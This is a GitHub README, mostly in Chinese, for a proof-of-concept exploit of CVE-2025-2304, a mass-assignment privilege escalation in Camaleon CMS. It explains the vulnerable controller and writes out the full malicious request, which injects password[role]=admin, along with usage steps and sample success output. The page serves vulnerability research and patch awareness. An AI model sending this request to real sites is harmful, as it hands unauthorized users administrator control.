Jeanback1/CVE-2025-2304-exploit

GitHub: Jeanback1/CVE-2025-2304-exploit

针对 Camaleon CMS CVE-2025-2304 Mass Assignment 漏洞的 PoC 利用脚本,通过自动提取 CSRF token 并构造恶意请求,将已认证的普通用户权限提升至管理员。

Stars: 0 | Forks: 0

# CVE-2025-2304 - Camaleon CMS Mass Assignment 权限提升 ## 📌 项目描述 **CVE-2025-2304** 是 Camaleon CMS(版本 < 2.9.1)中的一个 Mass Assignment 漏洞,允许经过身份验证的用户通过在密码修改请求中操纵 `role` 参数,将其权限提升为管理员。 [![Python 3.x](https://img.shields.io/badge/python-3.6%2B-blue)](https://www.python.org/) [![License](https://img.shields.io/badge/license-MIT-green)](LICENSE) [![Security](https://img.shields.io/badge/security-research-orange)](https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2025-2304) [![Status](https://img.shields.io/badge/status-PoC%20Lab%20Only-red)]() ## 🚨 技术漏洞说明 ### 漏洞背景 Camaleon CMS 使用 Ruby on Rails,并且在 2.9.0 版本中,`UsersController#updated_ajax` 控制器存在一个 **Mass Assignment** 漏洞。该控制器在没有限制的情况下使用了 `.permit!`,允许请求中发送的任何参数直接分配给用户模型。 ### 攻击向量 1. **易受攻击的端点**:`POST /admin/users/{user_id}/updated_ajax` 2. **关键参数**:在 `password` 命名空间内发送的 `password[role]` 3. **机制**:控制器处理 `params.require(:password)`,然后应用 `.permit!`,这**不会过滤任何参数** 4. **结果**:将 `"admin"` 值注入到用户的 `role` 字段中 ### 技术流程 ``` POST /admin/users/3/updated_ajax Content-Type: application/x-www-form-urlencoded authenticity_token=[TOKEN]& password[password]=new_password& password[password_confirmation]=new_password& password[role]=admin& password[id]=3& _method=patch ``` `password[role]` 参数由 `User.update(permitted_params)` 处理,并由于 `.permit!` 的作用直接分配给用户记录,从而将权限从 `user` 提升为 `admin`。 ## ⚡ 安装与使用 ### 前置条件 ``` # Python 3.6+ python3 --version # 所需 libraries pip install requests ``` ### 脚本执行 #### 英文版: ``` python3 exploit_cve_2025_2304_en.py ``` #### 西班牙文版: ``` python3 exploit_cve_2025_2304.py ``` ### 必需输入 脚本将以交互方式询问: 1. **服务器基础 URL**:`http(s)://domain:port` 2. **用户 ID**:攻击者的用户标识 3. **Session cookie**:`_cms_session` 值(登录后获取) 4. **新密码**:可选(默认:`P@ssw0rd_lab_2025!`) ### 完整命令示例 ``` python3 exploit_cve_2025_2304_en.py ``` ``` [?] Base URL of the server (ex: http://localhost:3000) : http://192.168.1.100:8080 [?] User ID of the attacker user (ex: 3) : 5 [?] Session cookie (_cms_session=VALUE) : _cms_session=abc123def456 ``` ## 🔧 关于此脚本 ### 为什么我要编写这个? 当我发现这个漏洞时,我的第一直觉是通过 Burp Suite 手动测试它——并且它奏效了。但我想更进一步,把这个手动过程变成一个可重复且易于移植的东西,所以我编写了这个脚本。 除了仅仅利用这个漏洞之外,构建它还让我有机会深入研究一些我觉得真正有趣的东西: - 自动化带有 session 处理的多步骤 HTTP 流程 - 从实时响应中动态解析 CSRF token - 处理来自同一端点的不一致的 JSON/HTML 响应 - 准确判断漏洞利用何时成功——以及何时失败 我并不是想取代 Burp 或 Caido。这些工具在交互式测试中是不可替代的。这只是当我不想重复手动操作时,宁愿写个脚本的产物。 ## ⚠️ 免责声明与道德考量 ### **重要法律警告** ``` THIS SCRIPT IS EXCLUSIVELY FOR: - Controlled laboratory environments - Systems you own or have explicit authorization to test - Educational purposes and authorized research STRICTLY PROHIBITED: - Use on systems without authorization - Application with malicious intent - Violation of data protection laws - Compromising third-party security The author is not responsible for misuse of this tool. ``` ## 📊 示例截图 ### 成功执行 ``` ╔══════════════════════════════════════════════════════════════╗ ║ CVE-2025-2304 │ Camaleon CMS Mass Assignment ║ ║ Privilege Escalation: user → admin ║ ║ [LABORATORY / CONTROLLED ENVIRONMENT] ║ ╚══════════════════════════════════════════════════════════════╝ [✔] CSRF token obtained: abc123def456... [✔] EXPLOIT SUCCESSFUL: Server confirmed the update. [✔] Status : COMPROMISED User 5 should now have 'admin' role. ``` ### Payload 结构 ``` { "authenticity_token": "abcd1234", "password[password]": "P@ssw0rd_lab_2025!", "password[password_confirmation]": "P@ssw0rd_lab_2025!", "password[role]": "admin", "password[id]": "5", "_method": "patch" } ``` ## 🛠 路线图与未来改进 ### 计划改进 1. **登录自动化**:集成以自动获取 session 2. **版本检测**:通过指纹识别确认易受攻击的版本 3. 为自动化管道提供详细/静默模式以实现更简洁的输出 4. **批量测试**:能够同时测试多个用户/URL 5. **生成报告**:以 JSON/HTML 格式导出结果 ### 扩展性 代码采用模块化结构,以促进以下方面: - 适应其他 Mass Assignment 漏洞 - 集成到渗透测试框架中 - 添加日志记录和监控功能 ## 📚 参考文献与资源 - **官方 CVE**:[CVE-2025-2304](https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2025-2304) - **Camaleon CMS**:[官方仓库](https://github.com/owen2345/camaleon-cms) - **补丁**:版本 2.9.1 修复了 `.permit!` 的使用 - **Rails 文档**:[Strong Parameters](https://guides.rubyonrails.org/action_controller_overview.html#strong-parameters) ## 🤝 贡献 欢迎以下方面的贡献: 1. 改进成功条件检测 2. 在保持道德准则的前提下添加功能 3. 修复错误或改进错误处理 4. 记录额外的用例 **请记住**:本项目仅用于教育和经过授权的研究目的。 *最后更新:2025 年 4 月 | 作者:安全分析师(实验室环境)*
标签:Camaleon CMS, CVE-2025-2304, Maven, PoC, Python, Ruby on Rails, Web安全, Web应用攻击, Web报告查看器, 内存转储, 协议分析, 参数篡改, 批量赋值, 无后门, 暴力破解, 权限提升, 漏洞验证, 蓝队分析, 越权访问, 身份验证漏洞